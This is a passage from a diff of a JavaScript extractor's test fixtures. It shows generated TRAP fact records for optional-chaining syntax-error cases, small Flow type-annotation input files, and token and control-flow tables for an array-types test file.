successor(#20063,#20078)
|
||||
successor(#20059,#20071)
|
||||
successor(#20057,#20073)
|
||||
successor(#20055,#20076)
|
||||
successor(#20057,#20078)
|
||||
successor(#20053,#20078)
|
||||
successor(#20040,#20042)
|
||||
successor(#20042,#20044)
|
||||
#20186=*
|
||||
guard_node(#20186,1,#20044)
|
||||
hasLocation(#20186,#20045)
|
||||
successor(#20186,#20047)
|
||||
#20187=*
|
||||
guard_node(#20187,0,#20044)
|
||||
hasLocation(#20187,#20045)
|
||||
successor(#20187,#20049)
|
||||
successor(#20044,#20186)
|
||||
successor(#20044,#20187)
|
||||
successor(#20047,#20051)
|
||||
successor(#20049,#20051)
|
||||
successor(#20033,#20037)
|
||||
successor(#20037,#20035)
|
||||
successor(#20035,#20040)
|
||||
successor(#20037,#20040)
|
||||
successor(#20022,#20028)
|
||||
successor(#20031,#20026)
|
||||
successor(#20028,#20031)
|
||||
successor(#20026,#20024)
|
||||
successor(#20028,#20033)
|
||||
successor(#20024,#20033)
|
||||
successor(#20012,#20016)
|
||||
successor(#20019,#20014)
|
||||
successor(#20016,#20019)
|
||||
successor(#20014,#20022)
|
||||
successor(#20016,#20022)
|
||||
successor(#20003,#20007)
|
||||
successor(#20010,#20005)
|
||||
successor(#20007,#20010)
|
||||
successor(#20005,#20012)
|
||||
successor(#20007,#20012)
|
||||
successor(#20183,#20003)
|
||||
numlines(#10000,13,7,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,28 @@
|
||||
#10000=@"/optional-chaining_bad1.js;sourcefile"
|
||||
files(#10000,"/optional-chaining_bad1.js","optional-chaining_bad1","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,1,1"
|
||||
locations_default(#20002,#10000,1,1,1,1)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
jsParseErrors(#20003,#20001,"Error: Unexpected token","new a?.();")
|
||||
#20004=@"loc,{#10000},1,8,1,8"
|
||||
locations_default(#20004,#10000,1,8,1,8)
|
||||
hasLocation(#20003,#20004)
|
||||
#20005=*
|
||||
lines(#20005,#20001,"new a?.();","")
|
||||
#20006=@"loc,{#10000},1,1,1,10"
|
||||
locations_default(#20006,#10000,1,1,1,10)
|
||||
hasLocation(#20005,#20006)
|
||||
numlines(#20001,1,0,0)
|
||||
numlines(#10000,1,0,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,26 @@
|
||||
#10000=@"/optional-chaining_bad2.js;sourcefile"
|
||||
files(#10000,"/optional-chaining_bad2.js","optional-chaining_bad2","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,1,1"
|
||||
locations_default(#20002,#10000,1,1,1,1)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a tagged template expression.","a?.`{b}`;")
|
||||
hasLocation(#20003,#20002)
|
||||
#20004=*
|
||||
lines(#20004,#20001,"a?.`{b}`;","")
|
||||
#20005=@"loc,{#10000},1,1,1,9"
|
||||
locations_default(#20005,#10000,1,1,1,9)
|
||||
hasLocation(#20004,#20005)
|
||||
numlines(#20001,1,0,0)
|
||||
numlines(#10000,1,0,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,28 @@
|
||||
#10000=@"/optional-chaining_bad3.js;sourcefile"
|
||||
files(#10000,"/optional-chaining_bad3.js","optional-chaining_bad3","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,1,1"
|
||||
locations_default(#20002,#10000,1,1,1,1)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a `new` expression.","new a?.b();")
|
||||
#20004=@"loc,{#10000},1,5,1,5"
|
||||
locations_default(#20004,#10000,1,5,1,5)
|
||||
hasLocation(#20003,#20004)
|
||||
#20005=*
|
||||
lines(#20005,#20001,"new a?.b();","")
|
||||
#20006=@"loc,{#10000},1,1,1,11"
|
||||
locations_default(#20006,#10000,1,1,1,11)
|
||||
hasLocation(#20005,#20006)
|
||||
numlines(#20001,1,0,0)
|
||||
numlines(#10000,1,0,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,26 @@
|
||||
#10000=@"/optional-chaining_bad4.js;sourcefile"
|
||||
files(#10000,"/optional-chaining_bad4.js","optional-chaining_bad4","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,1,1"
|
||||
locations_default(#20002,#10000,1,1,1,1)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a tagged template expression.","a?.b`{c}`;")
|
||||
hasLocation(#20003,#20002)
|
||||
#20004=*
|
||||
lines(#20004,#20001,"a?.b`{c}`;","")
|
||||
#20005=@"loc,{#10000},1,1,1,10"
|
||||
locations_default(#20005,#10000,1,1,1,10)
|
||||
hasLocation(#20004,#20005)
|
||||
numlines(#20001,1,0,0)
|
||||
numlines(#10000,1,0,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,26 @@
|
||||
#10000=@"/optional-chaining_bad5.js;sourcefile"
|
||||
files(#10000,"/optional-chaining_bad5.js","optional-chaining_bad5","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,1,1"
|
||||
locations_default(#20002,#10000,1,1,1,1)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
jsParseErrors(#20003,#20001,"Error: Invalid left-hand side in assignment","a?.b = c;")
|
||||
hasLocation(#20003,#20002)
|
||||
#20004=*
|
||||
lines(#20004,#20001,"a?.b = c;","")
|
||||
#20005=@"loc,{#10000},1,1,1,9"
|
||||
locations_default(#20005,#10000,1,1,1,9)
|
||||
hasLocation(#20004,#20005)
|
||||
numlines(#20001,1,0,0)
|
||||
numlines(#10000,1,0,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,30 @@
|
||||
#10000=@"/optional-chaining_bad6.js;sourcefile"
|
||||
files(#10000,"/optional-chaining_bad6.js","optional-chaining_bad6","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,1,1"
|
||||
locations_default(#20002,#10000,1,1,1,1)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a `new` expression.","new a.b?.c();
|
||||
")
|
||||
#20004=@"loc,{#10000},1,5,1,5"
|
||||
locations_default(#20004,#10000,1,5,1,5)
|
||||
hasLocation(#20003,#20004)
|
||||
#20005=*
|
||||
lines(#20005,#20001,"new a.b?.c();","
|
||||
")
|
||||
#20006=@"loc,{#10000},1,1,1,13"
|
||||
locations_default(#20006,#10000,1,1,1,13)
|
||||
hasLocation(#20005,#20006)
|
||||
numlines(#20001,1,0,0)
|
||||
numlines(#10000,1,0,0)
|
||||
filetype(#10000,"javascript")
|
||||
File diff suppressed because it is too large
Load Diff
4
javascript/extractor/tests/flow/input/array-types.js
Normal file
4
javascript/extractor/tests/flow/input/array-types.js
Normal file
@@ -0,0 +1,4 @@
|
||||
function f(p: T) {}
|
||||
function f(p: T[]) {}
|
||||
function f(p: T[][]) {}
|
||||
function f(p: T[][][]) {}
|
||||
@@ -0,0 +1,4 @@
|
||||
declare module "m1" {
|
||||
import type t from "m2";
|
||||
import typeof t from "m3";
|
||||
}
|
||||
4
javascript/extractor/tests/flow/input/get-set-methods.js
Normal file
4
javascript/extractor/tests/flow/input/get-set-methods.js
Normal file
@@ -0,0 +1,4 @@
|
||||
class C {
|
||||
get<T>(v: T) { }
|
||||
set<T>(v: T) { }
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
function f(a): boolean %checks {
|
||||
return a;
|
||||
}
|
||||
function g(): %checks {} {
|
||||
return b;
|
||||
}
|
||||
|
||||
(c): boolean %checks => c;
|
||||
(d): %checks => d;
|
||||
492
javascript/extractor/tests/flow/output/trap/array-types.js.trap
Normal file
492
javascript/extractor/tests/flow/output/trap/array-types.js.trap
Normal file
@@ -0,0 +1,492 @@
|
||||
#10000=@"/array-types.js;sourcefile"
|
||||
files(#10000,"/array-types.js","array-types","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,5,0"
|
||||
locations_default(#20002,#10000,1,1,5,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"var;{f};{#20000}"
|
||||
variables(#20003,"f",#20000)
|
||||
#20004=*
|
||||
stmts(#20004,17,#20001,0,"function f(p: T) {}")
|
||||
#20005=@"loc,{#10000},1,1,1,19"
|
||||
locations_default(#20005,#10000,1,1,1,19)
|
||||
hasLocation(#20004,#20005)
|
||||
stmtContainers(#20004,#20001)
|
||||
#20006=*
|
||||
exprs(#20006,78,#20004,-1,"f")
|
||||
#20007=@"loc,{#10000},1,10,1,10"
|
||||
locations_default(#20007,#10000,1,10,1,10)
|
||||
hasLocation(#20006,#20007)
|
||||
exprContainers(#20006,#20004)
|
||||
literals("f","f",#20006)
|
||||
decl(#20006,#20003)
|
||||
#20008=*
|
||||
scopes(#20008,1)
|
||||
scopenodes(#20004,#20008)
|
||||
scopenesting(#20008,#20000)
|
||||
#20009=@"var;{p};{#20008}"
|
||||
variables(#20009,"p",#20008)
|
||||
#20010=*
|
||||
exprs(#20010,78,#20004,0,"p: T")
|
||||
#20011=@"loc,{#10000},1,12,1,15"
|
||||
locations_default(#20011,#10000,1,12,1,15)
|
||||
hasLocation(#20010,#20011)
|
||||
exprContainers(#20010,#20004)
|
||||
literals("p","p",#20010)
|
||||
decl(#20010,#20009)
|
||||
#20012=@"var;{arguments};{#20008}"
|
||||
variables(#20012,"arguments",#20008)
|
||||
isArgumentsObject(#20012)
|
||||
#20013=*
|
||||
stmts(#20013,1,#20004,-2,"{}")
|
||||
#20014=@"loc,{#10000},1,18,1,19"
|
||||
locations_default(#20014,#10000,1,18,1,19)
|
||||
hasLocation(#20013,#20014)
|
||||
stmtContainers(#20013,#20004)
|
||||
numlines(#20004,1,1,0)
|
||||
#20015=*
|
||||
stmts(#20015,17,#20001,1,"functio ... T[]) {}")
|
||||
#20016=@"loc,{#10000},2,1,2,21"
|
||||
locations_default(#20016,#10000,2,1,2,21)
|
||||
hasLocation(#20015,#20016)
|
||||
stmtContainers(#20015,#20001)
|
||||
#20017=*
|
||||
exprs(#20017,78,#20015,-1,"f")
|
||||
#20018=@"loc,{#10000},2,10,2,10"
|
||||
locations_default(#20018,#10000,2,10,2,10)
|
||||
hasLocation(#20017,#20018)
|
||||
exprContainers(#20017,#20015)
|
||||
literals("f","f",#20017)
|
||||
decl(#20017,#20003)
|
||||
#20019=*
|
||||
scopes(#20019,1)
|
||||
scopenodes(#20015,#20019)
|
||||
scopenesting(#20019,#20000)
|
||||
#20020=@"var;{p};{#20019}"
|
||||
variables(#20020,"p",#20019)
|
||||
#20021=*
|
||||
exprs(#20021,78,#20015,0,"p: T[]")
|
||||
#20022=@"loc,{#10000},2,12,2,17"
|
||||
locations_default(#20022,#10000,2,12,2,17)
|
||||
hasLocation(#20021,#20022)
|
||||
exprContainers(#20021,#20015)
|
||||
literals("p","p",#20021)
|
||||
decl(#20021,#20020)
|
||||
#20023=@"var;{arguments};{#20019}"
|
||||
variables(#20023,"arguments",#20019)
|
||||
isArgumentsObject(#20023)
|
||||
#20024=*
|
||||
stmts(#20024,1,#20015,-2,"{}")
|
||||
#20025=@"loc,{#10000},2,20,2,21"
|
||||
locations_default(#20025,#10000,2,20,2,21)
|
||||
hasLocation(#20024,#20025)
|
||||
stmtContainers(#20024,#20015)
|
||||
numlines(#20015,1,1,0)
|
||||
#20026=*
|
||||
stmts(#20026,17,#20001,2,"functio ... ][]) {}")
|
||||
#20027=@"loc,{#10000},3,1,3,23"
|
||||
locations_default(#20027,#10000,3,1,3,23)
|
||||
hasLocation(#20026,#20027)
|
||||
stmtContainers(#20026,#20001)
|
||||
#20028=*
|
||||
exprs(#20028,78,#20026,-1,"f")
|
||||
#20029=@"loc,{#10000},3,10,3,10"
|
||||
locations_default(#20029,#10000,3,10,3,10)
|
||||
hasLocation(#20028,#20029)
|
||||
exprContainers(#20028,#20026)
|
||||
literals("f","f",#20028)
|
||||
decl(#20028,#20003)
|
||||
#20030=*
|
||||
scopes(#20030,1)
|
||||
scopenodes(#20026,#20030)
|
||||
scopenesting(#20030,#20000)
|
||||
#20031=@"var;{p};{#20030}"
|
||||
variables(#20031,"p",#20030)
|
||||
#20032=*
|
||||
exprs(#20032,78,#20026,0,"p: T[][]")
|
||||
#20033=@"loc,{#10000},3,12,3,19"
|
||||
locations_default(#20033,#10000,3,12,3,19)
|
||||
hasLocation(#20032,#20033)
|
||||
exprContainers(#20032,#20026)
|
||||
literals("p","p",#20032)
|
||||
decl(#20032,#20031)
|
||||
#20034=@"var;{arguments};{#20030}"
|
||||
variables(#20034,"arguments",#20030)
|
||||
isArgumentsObject(#20034)
|
||||
#20035=*
|
||||
stmts(#20035,1,#20026,-2,"{}")
|
||||
#20036=@"loc,{#10000},3,22,3,23"
|
||||
locations_default(#20036,#10000,3,22,3,23)
|
||||
hasLocation(#20035,#20036)
|
||||
stmtContainers(#20035,#20026)
|
||||
numlines(#20026,1,1,0)
|
||||
#20037=*
|
||||
stmts(#20037,17,#20001,3,"functio ... ][]) {}")
|
||||
#20038=@"loc,{#10000},4,1,4,25"
|
||||
locations_default(#20038,#10000,4,1,4,25)
|
||||
hasLocation(#20037,#20038)
|
||||
stmtContainers(#20037,#20001)
|
||||
#20039=*
|
||||
exprs(#20039,78,#20037,-1,"f")
|
||||
#20040=@"loc,{#10000},4,10,4,10"
|
||||
locations_default(#20040,#10000,4,10,4,10)
|
||||
hasLocation(#20039,#20040)
|
||||
exprContainers(#20039,#20037)
|
||||
literals("f","f",#20039)
|
||||
decl(#20039,#20003)
|
||||
#20041=*
|
||||
scopes(#20041,1)
|
||||
scopenodes(#20037,#20041)
|
||||
scopenesting(#20041,#20000)
|
||||
#20042=@"var;{p};{#20041}"
|
||||
variables(#20042,"p",#20041)
|
||||
#20043=*
|
||||
exprs(#20043,78,#20037,0,"p: T[][][]")
|
||||
#20044=@"loc,{#10000},4,12,4,21"
|
||||
locations_default(#20044,#10000,4,12,4,21)
|
||||
hasLocation(#20043,#20044)
|
||||
exprContainers(#20043,#20037)
|
||||
literals("p","p",#20043)
|
||||
decl(#20043,#20042)
|
||||
#20045=@"var;{arguments};{#20041}"
|
||||
variables(#20045,"arguments",#20041)
|
||||
isArgumentsObject(#20045)
|
||||
#20046=*
|
||||
stmts(#20046,1,#20037,-2,"{}")
|
||||
#20047=@"loc,{#10000},4,24,4,25"
|
||||
locations_default(#20047,#10000,4,24,4,25)
|
||||
hasLocation(#20046,#20047)
|
||||
stmtContainers(#20046,#20037)
|
||||
numlines(#20037,1,1,0)
|
||||
#20048=*
|
||||
lines(#20048,#20001,"function f(p: T) {}","
|
||||
")
|
||||
hasLocation(#20048,#20005)
|
||||
#20049=*
|
||||
lines(#20049,#20001,"function f(p: T[]) {}","
|
||||
")
|
||||
hasLocation(#20049,#20016)
|
||||
#20050=*
|
||||
lines(#20050,#20001,"function f(p: T[][]) {}","
|
||||
")
|
||||
hasLocation(#20050,#20027)
|
||||
#20051=*
|
||||
lines(#20051,#20001,"function f(p: T[][][]) {}","
|
||||
")
|
||||
hasLocation(#20051,#20038)
|
||||
numlines(#20001,4,4,0)
|
||||
#20052=*
|
||||
tokeninfo(#20052,7,#20001,0,"function")
|
||||
#20053=@"loc,{#10000},1,1,1,8"
|
||||
locations_default(#20053,#10000,1,1,1,8)
|
||||
hasLocation(#20052,#20053)
|
||||
#20054=*
|
||||
tokeninfo(#20054,6,#20001,1,"f")
|
||||
hasLocation(#20054,#20007)
|
||||
#20055=*
|
||||
tokeninfo(#20055,8,#20001,2,"(")
|
||||
#20056=@"loc,{#10000},1,11,1,11"
|
||||
locations_default(#20056,#10000,1,11,1,11)
|
||||
hasLocation(#20055,#20056)
|
||||
#20057=*
|
||||
tokeninfo(#20057,6,#20001,3,"p")
|
||||
#20058=@"loc,{#10000},1,12,1,12"
|
||||
locations_default(#20058,#10000,1,12,1,12)
|
||||
hasLocation(#20057,#20058)
|
||||
#20059=*
|
||||
tokeninfo(#20059,8,#20001,4,":")
|
||||
#20060=@"loc,{#10000},1,13,1,13"
|
||||
locations_default(#20060,#10000,1,13,1,13)
|
||||
hasLocation(#20059,#20060)
|
||||
#20061=*
|
||||
tokeninfo(#20061,6,#20001,5,"T")
|
||||
#20062=@"loc,{#10000},1,15,1,15"
|
||||
locations_default(#20062,#10000,1,15,1,15)
|
||||
hasLocation(#20061,#20062)
|
||||
#20063=*
|
||||
tokeninfo(#20063,8,#20001,6,")")
|
||||
#20064=@"loc,{#10000},1,16,1,16"
|
||||
locations_default(#20064,#10000,1,16,1,16)
|
||||
hasLocation(#20063,#20064)
|
||||
#20065=*
|
||||
tokeninfo(#20065,8,#20001,7,"{")
|
||||
#20066=@"loc,{#10000},1,18,1,18"
|
||||
locations_default(#20066,#10000,1,18,1,18)
|
||||
hasLocation(#20065,#20066)
|
||||
#20067=*
|
||||
tokeninfo(#20067,8,#20001,8,"}")
|
||||
#20068=@"loc,{#10000},1,19,1,19"
|
||||
locations_default(#20068,#10000,1,19,1,19)
|
||||
hasLocation(#20067,#20068)
|
||||
#20069=*
|
||||
tokeninfo(#20069,7,#20001,9,"function")
|
||||
#20070=@"loc,{#10000},2,1,2,8"
|
||||
locations_default(#20070,#10000,2,1,2,8)
|
||||
hasLocation(#20069,#20070)
|
||||
#20071=*
|
||||
tokeninfo(#20071,6,#20001,10,"f")
|
||||
hasLocation(#20071,#20018)
|
||||
#20072=*
|
||||
tokeninfo(#20072,8,#20001,11,"(")
|
||||
#20073=@"loc,{#10000},2,11,2,11"
|
||||
locations_default(#20073,#10000,2,11,2,11)
|
||||
hasLocation(#20072,#20073)
|
||||
#20074=*
|
||||
tokeninfo(#20074,6,#20001,12,"p")
|
||||
#20075=@"loc,{#10000},2,12,2,12"
|
||||
locations_default(#20075,#10000,2,12,2,12)
|
||||
hasLocation(#20074,#20075)
|
||||
#20076=*
|
||||
tokeninfo(#20076,8,#20001,13,":")
|
||||
#20077=@"loc,{#10000},2,13,2,13"
|
||||
locations_default(#20077,#10000,2,13,2,13)
|
||||
hasLocation(#20076,#20077)
|
||||
#20078=*
|
||||
tokeninfo(#20078,6,#20001,14,"T")
|
||||
#20079=@"loc,{#10000},2,15,2,15"
|
||||
locations_default(#20079,#10000,2,15,2,15)
|
||||
hasLocation(#20078,#20079)
|
||||
#20080=*
|
||||
tokeninfo(#20080,8,#20001,15,"[")
|
||||
#20081=@"loc,{#10000},2,16,2,16"
|
||||
locations_default(#20081,#10000,2,16,2,16)
|
||||
hasLocation(#20080,#20081)
|
||||
#20082=*
|
||||
tokeninfo(#20082,8,#20001,16,"]")
|
||||
#20083=@"loc,{#10000},2,17,2,17"
|
||||
locations_default(#20083,#10000,2,17,2,17)
|
||||
hasLocation(#20082,#20083)
|
||||
#20084=*
|
||||
tokeninfo(#20084,8,#20001,17,")")
|
||||
#20085=@"loc,{#10000},2,18,2,18"
|
||||
locations_default(#20085,#10000,2,18,2,18)
|
||||
hasLocation(#20084,#20085)
|
||||
#20086=*
|
||||
tokeninfo(#20086,8,#20001,18,"{")
|
||||
#20087=@"loc,{#10000},2,20,2,20"
|
||||
locations_default(#20087,#10000,2,20,2,20)
|
||||
hasLocation(#20086,#20087)
|
||||
#20088=*
|
||||
tokeninfo(#20088,8,#20001,19,"}")
|
||||
#20089=@"loc,{#10000},2,21,2,21"
|
||||
locations_default(#20089,#10000,2,21,2,21)
|
||||
hasLocation(#20088,#20089)
|
||||
#20090=*
|
||||
tokeninfo(#20090,7,#20001,20,"function")
|
||||
#20091=@"loc,{#10000},3,1,3,8"
|
||||
locations_default(#20091,#10000,3,1,3,8)
|
||||
hasLocation(#20090,#20091)
|
||||
#20092=*
|
||||
tokeninfo(#20092,6,#20001,21,"f")
|
||||
hasLocation(#20092,#20029)
|
||||
#20093=*
|
||||
tokeninfo(#20093,8,#20001,22,"(")
|
||||
#20094=@"loc,{#10000},3,11,3,11"
|
||||
locations_default(#20094,#10000,3,11,3,11)
|
||||
hasLocation(#20093,#20094)
|
||||
#20095=*
|
||||
tokeninfo(#20095,6,#20001,23,"p")
|
||||
#20096=@"loc,{#10000},3,12,3,12"
|
||||
locations_default(#20096,#10000,3,12,3,12)
|
||||
hasLocation(#20095,#20096)
|
||||
#20097=*
|
||||
tokeninfo(#20097,8,#20001,24,":")
|
||||
#20098=@"loc,{#10000},3,13,3,13"
|
||||
locations_default(#20098,#10000,3,13,3,13)
|
||||
hasLocation(#20097,#20098)
|
||||
#20099=*
|
||||
tokeninfo(#20099,6,#20001,25,"T")
|
||||
#20100=@"loc,{#10000},3,15,3,15"
|
||||
locations_default(#20100,#10000,3,15,3,15)
|
||||
hasLocation(#20099,#20100)
|
||||
#20101=*
|
||||
tokeninfo(#20101,8,#20001,26,"[")
|
||||
#20102=@"loc,{#10000},3,16,3,16"
|
||||
locations_default(#20102,#10000,3,16,3,16)
|
||||
hasLocation(#20101,#20102)
|
||||
#20103=*
|
||||
tokeninfo(#20103,8,#20001,27,"]")
|
||||
#20104=@"loc,{#10000},3,17,3,17"
|
||||
locations_default(#20104,#10000,3,17,3,17)
|
||||
hasLocation(#20103,#20104)
|
||||
#20105=*
|
||||
tokeninfo(#20105,8,#20001,28,"[")
|
||||
#20106=@"loc,{#10000},3,18,3,18"
|
||||
locations_default(#20106,#10000,3,18,3,18)
|
||||
hasLocation(#20105,#20106)
|
||||
#20107=*
|
||||
tokeninfo(#20107,8,#20001,29,"]")
|
||||
#20108=@"loc,{#10000},3,19,3,19"
|
||||
locations_default(#20108,#10000,3,19,3,19)
|
||||
hasLocation(#20107,#20108)
|
||||
#20109=*
|
||||
tokeninfo(#20109,8,#20001,30,")")
|
||||
#20110=@"loc,{#10000},3,20,3,20"
|
||||
locations_default(#20110,#10000,3,20,3,20)
|
||||
hasLocation(#20109,#20110)
|
||||
#20111=*
|
||||
tokeninfo(#20111,8,#20001,31,"{")
|
||||
#20112=@"loc,{#10000},3,22,3,22"
|
||||
locations_default(#20112,#10000,3,22,3,22)
|
||||
hasLocation(#20111,#20112)
|
||||
#20113=*
|
||||
tokeninfo(#20113,8,#20001,32,"}")
|
||||
#20114=@"loc,{#10000},3,23,3,23"
|
||||
locations_default(#20114,#10000,3,23,3,23)
|
||||
hasLocation(#20113,#20114)
|
||||
#20115=*
|
||||
tokeninfo(#20115,7,#20001,33,"function")
|
||||
#20116=@"loc,{#10000},4,1,4,8"
|
||||
locations_default(#20116,#10000,4,1,4,8)
|
||||
hasLocation(#20115,#20116)
|
||||
#20117=*
|
||||
tokeninfo(#20117,6,#20001,34,"f")
|
||||
hasLocation(#20117,#20040)
|
||||
#20118=*
|
||||
tokeninfo(#20118,8,#20001,35,"(")
|
||||
#20119=@"loc,{#10000},4,11,4,11"
|
||||
locations_default(#20119,#10000,4,11,4,11)
|
||||
hasLocation(#20118,#20119)
|
||||
#20120=*
|
||||
tokeninfo(#20120,6,#20001,36,"p")
|
||||
#20121=@"loc,{#10000},4,12,4,12"
|
||||
locations_default(#20121,#10000,4,12,4,12)
|
||||
hasLocation(#20120,#20121)
|
||||
#20122=*
|
||||
tokeninfo(#20122,8,#20001,37,":")
|
||||
#20123=@"loc,{#10000},4,13,4,13"
|
||||
locations_default(#20123,#10000,4,13,4,13)
|
||||
hasLocation(#20122,#20123)
|
||||
#20124=*
|
||||
tokeninfo(#20124,6,#20001,38,"T")
|
||||
#20125=@"loc,{#10000},4,15,4,15"
|
||||
locations_default(#20125,#10000,4,15,4,15)
|
||||
hasLocation(#20124,#20125)
|
||||
#20126=*
|
||||
tokeninfo(#20126,8,#20001,39,"[")
|
||||
#20127=@"loc,{#10000},4,16,4,16"
|
||||
locations_default(#20127,#10000,4,16,4,16)
|
||||
hasLocation(#20126,#20127)
|
||||
#20128=*
|
||||
tokeninfo(#20128,8,#20001,40,"]")
|
||||
#20129=@"loc,{#10000},4,17,4,17"
|
||||
locations_default(#20129,#10000,4,17,4,17)
|
||||
hasLocation(#20128,#20129)
|
||||
#20130=*
|
||||
tokeninfo(#20130,8,#20001,41,"[")
|
||||
#20131=@"loc,{#10000},4,18,4,18"
|
||||
locations_default(#20131,#10000,4,18,4,18)
|
||||
hasLocation(#20130,#20131)
|
||||
#20132=*
|
||||
tokeninfo(#20132,8,#20001,42,"]")
|
||||
#20133=@"loc,{#10000},4,19,4,19"
|
||||
locations_default(#20133,#10000,4,19,4,19)
|
||||
hasLocation(#20132,#20133)
|
||||
#20134=*
|
||||
tokeninfo(#20134,8,#20001,43,"[")
|
||||
#20135=@"loc,{#10000},4,20,4,20"
|
||||
locations_default(#20135,#10000,4,20,4,20)
|
||||
hasLocation(#20134,#20135)
|
||||
#20136=*
|
||||
tokeninfo(#20136,8,#20001,44,"]")
|
||||
#20137=@"loc,{#10000},4,21,4,21"
|
||||
locations_default(#20137,#10000,4,21,4,21)
|
||||
hasLocation(#20136,#20137)
|
||||
#20138=*
|
||||
tokeninfo(#20138,8,#20001,45,")")
|
||||
#20139=@"loc,{#10000},4,22,4,22"
|
||||
locations_default(#20139,#10000,4,22,4,22)
|
||||
hasLocation(#20138,#20139)
|
||||
#20140=*
|
||||
tokeninfo(#20140,8,#20001,46,"{")
|
||||
#20141=@"loc,{#10000},4,24,4,24"
|
||||
locations_default(#20141,#10000,4,24,4,24)
|
||||
hasLocation(#20140,#20141)
|
||||
#20142=*
|
||||
tokeninfo(#20142,8,#20001,47,"}")
|
||||
#20143=@"loc,{#10000},4,25,4,25"
|
||||
locations_default(#20143,#10000,4,25,4,25)
|
||||
hasLocation(#20142,#20143)
|
||||
#20144=*
|
||||
tokeninfo(#20144,0,#20001,48,"")
|
||||
#20145=@"loc,{#10000},5,1,5,0"
|
||||
locations_default(#20145,#10000,5,1,5,0)
|
||||
hasLocation(#20144,#20145)
|
||||
#20146=*
|
||||
entry_cfg_node(#20146,#20001)
|
||||
#20147=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20147,#10000,1,1,1,0)
|
||||
hasLocation(#20146,#20147)
|
||||
#20148=*
|
||||
exit_cfg_node(#20148,#20001)
|
||||
hasLocation(#20148,#20145)
|
||||
successor(#20037,#20148)
|
||||
#20149=*
|
||||
entry_cfg_node(#20149,#20037)
|
||||
#20150=@"loc,{#10000},4,1,4,0"
|
||||
locations_default(#20150,#10000,4,1,4,0)
|
||||
hasLocation(#20149,#20150)
|
||||
#20151=*
|
||||
exit_cfg_node(#20151,#20037)
|
||||
#20152=@"loc,{#10000},4,26,4,25"
|
||||
locations_default(#20152,#10000,4,26,4,25)
|
||||
hasLocation(#20151,#20152)
|
||||
successor(#20046,#20151)
|
||||
successor(#20043,#20046)
|
||||
successor(#20149,#20043)
|
||||
successor(#20026,#20037)
|
||||
#20153=*
|
||||
entry_cfg_node(#20153,#20026)
|
||||
